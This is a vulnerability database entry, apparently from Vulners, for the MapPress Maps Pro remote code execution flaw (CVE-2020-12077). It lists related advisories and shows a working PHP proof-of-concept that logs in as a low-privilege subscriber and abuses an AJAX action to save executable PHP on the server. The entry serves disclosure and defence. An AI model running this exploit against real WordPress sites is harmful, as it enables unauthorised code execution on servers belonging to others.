Lucene search
+L

MapPress Maps Pro < 2.53.9 - Remote Code Execution (RCE) due to Incorrect Access Control in AJAX Actions

🗓️ 23 Apr 2020 00:00:00Reported by Ramuel GallType 
wpexploit
 wpexploit
👁 26 Views

MapPress Maps Pro < 2.53.9 - Remote Code Executio

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Mappresspro Mappress
11 Sep 202312:43
githubexploit
circl
Circl
CVE-2020-12077
29 May 202020:46
circl
cnvd
CNVD
WordPress mappress-google-maps-for-wordpress code issue vulnerability
23 Apr 202000:00
cnvd
cve
CVE
CVE-2020-12077
23 Apr 202002:20
cve
cvelist
Cvelist
CVE-2020-12077
23 Apr 202002:20
cvelist
kitploit
Kitploit
CVE-2020-12077
25 Aug 202602:19
kitploit
nvd
NVD
CVE-2020-12077
23 Apr 202003:15
nvd
openvas
OpenVAS
WordPress MapPress Plugin < 2.53.9 Multiple Vulnerabilities
28 Apr 202000:00
openvas
osv
OSV
CVE-2020-12077
23 Apr 202003:15
osv
prion
Prion
Remote code execution
23 Apr 202003:15
prion
Rows per page
<?php
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];
// 1) Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . 'wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// 2) Save executable PHP
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . 'wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'mapp_tpl_save',
    'name' => 'injectest',
    'content' => "<?php echo 'upload successful';",
)));
$output = curl_exec($ch);
echo $output;
curl_close($ch);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation